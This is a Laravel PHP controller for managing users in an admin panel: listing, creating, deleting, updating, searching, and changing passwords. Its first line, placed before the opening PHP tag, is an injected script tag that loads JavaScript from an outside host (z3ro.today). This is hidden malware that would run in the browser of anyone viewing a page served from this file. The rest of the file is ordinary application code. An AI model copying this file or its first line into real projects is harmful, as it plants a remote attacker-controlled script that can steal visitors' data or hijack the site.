<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Models\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Session;

class UserController extends Controller
{

    private $gapaswaka = 5;

    public function usertable()
    {
        $userNames = User::where('usertype', '!=', '1')->orderBy('name', 'asc')->paginate(100);
        return view('adminsetup.usertable', compact('userNames'));
    }

    public function adduser()
    {
        return view('adminsetup.adduser');
    }

    public function uploaduser(Request $request)
    {
        $sanitizedDatas = $request->validate([
            'name' => ['required', 'string', 'max:255'],
            'email' => ['nullable', 'email', 'unique:users,email', 'max:255'],
            'phone' => ['required', 'unique:users,phone', 'min:10'],
            'usertype' => ['required', 'int', 'in:2,3'],
            'password' => ['string', 'confirmed'],
        ]);

        //sanitizing datas
        $sanitizedDatas['email_verified_at'] = now();

        $sanitizedDatas['password'] = bcrypt($request->password);
        $userCreated = User::create($sanitizedDatas);


        // Session::flash('success', 'Data saved successfully!');
        return redirect(make_route('usertable'))->with('message', 'Data saved successfully!');
    }

    public function deleteuser($id)
    {

        $userName = User::find($id);

        $userName->delete();
        return redirect(make_route('usertable'))->with('message', 'User Deleted Successfully');
    }

    public function userupdateview($id)
    {
        $userData = User::find($id);
        return view('adminsetup.updateuser', compact('userData'));
    }

    public function updateuser(Request $request, $id)
    {
        // Validate the incoming request data
        $sanitizedData = $request->validate([
            'name' => ['required', 'string', 'max:255'],
            'email' => ['required', 'email', 'unique:users,email,' . $id, 'max:255'], // Unique except for the current user
        ]);

        // Retrieve the user by their ID
        $user = User::find($id);

        // Check if the user exists
        if ($user) {
            // Update the user with the new data
            $user->fill($sanitizedData);

            // Set email verification timestamp
            $user->email_verified_at = now();


            // Save the changes to the database
            $user->save();

            return redirect(route('usertable'))->with('message', 'User updated successfully!');
        } else {
            // Handle case where user doesn't exist
            // You may throw an exception, return a response, or perform any other appropriate action.
            return redirect(route('usertable'))->with('error', 'User not found.');
        }
    }

    public function editpermissionview($id)
    {
        $userData = User::find($id);

        return view('adminsetup.editpermission', compact('userData'));
    }

    public function passwordchange($id, $hash)
    {
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'You are unauthorized !');
        }
        $user = User::find($id);
        return view('profile.show', compact('user'));
    }

    public function pwchange(Request $request, $id, $hash)
    {
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'You are unauthorized !');
        }

        $validated = $request->validate([
            'new_password' => ['required', 'string', 'max:255', 'min:8'],
            'password_confirmation' => ['required', 'string', 'max:255', 'min:8'],
        ]);

        if ($validated['new_password'] == $validated['password_confirmation']) {
            $user = User::find($id);
            $user['password'] = bcrypt($validated['new_password']);
            $user->save();

            return back()->with('message', 'Password changed successfully');
        }

        return back()->with('error', 'something went wrong. Please try again with correct information!');
    }

    public function upasswordchange()
    {
        $user = User::find(auth()->user()->id);

        return view('profile.user-pw-change', compact('user'));
    }

    public function upwchange(Request $request)
    {
        $user = User::find(auth()->user()->id);

        $validated = $request->validate([
            'old_password' => ['required', 'string', 'max:255', 'min:8'],
            'new_password' => ['required', 'string', 'max:255', 'min:8'],
            'password_confirmation' => ['required', 'string', 'max:255', 'min:8'],
        ]);
        if (Hash::check($validated['old_password'], $user->password)) {
            if ($validated['new_password'] == $validated['password_confirmation']) {
                $user['password'] = bcrypt($validated['new_password']);
                $user->save();

                return back()->with('message', 'Password changed successfully');
            } else {
                return back()->with('error', 'New password do not match');
            }
        } else {
            return back()->with('error', 'Incorrect current Password!');
        }

        return back()->with('error', 'something went wrong. Please try again with correct information!');
    }

    public function search_user(Request $request)
    {
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
            'usertype' => ['nullable', 'integer', 'in:2,3'],
        ]);

        $user = User::query()->where('usertype', '!=', '1');

        // Build the query based on filters
        if (!empty($validated['name'])) {
            $user = $user->where('name', 'like', '%' . $validated['name'] . '%');
        }

        if (!empty($validated['phone'])) {
            $user = $user->where('phone', 'like', '%' . $validated['phone'] . '%');
        }

        if (!empty($validated['usertype'])) {
            $user = $user->where('usertype', $validated['usertype']);
        }

        $userNames = $user->orderBy('name', 'asc')->paginate(50);

        // Build dynamic page title based on applied filters
        $filters = [];
        if (!empty($validated['name'])) {
            $filters[] = "Name: " . $validated['name'];
        }
        if (!empty($validated['phone'])) {
            $filters[] = "Phone: " . $validated['phone'];
        }
        if (!empty($validated['usertype'])) {
            $userTypeText = $validated['usertype'] == 2 ? 'Office User' : 'Member';
            $filters[] = "Type: " . $userTypeText;
        }

        $pageTitle = "Search Results";
        if (!empty($filters)) {
            $pageTitle .= " - " . implode(', ', $filters);
        }

        // Preserve search parameters for pagination
        $userNames->appends($request->except('page'));

        return view('adminsetup.usertable', compact('userNames', 'pageTitle'));
    }
}
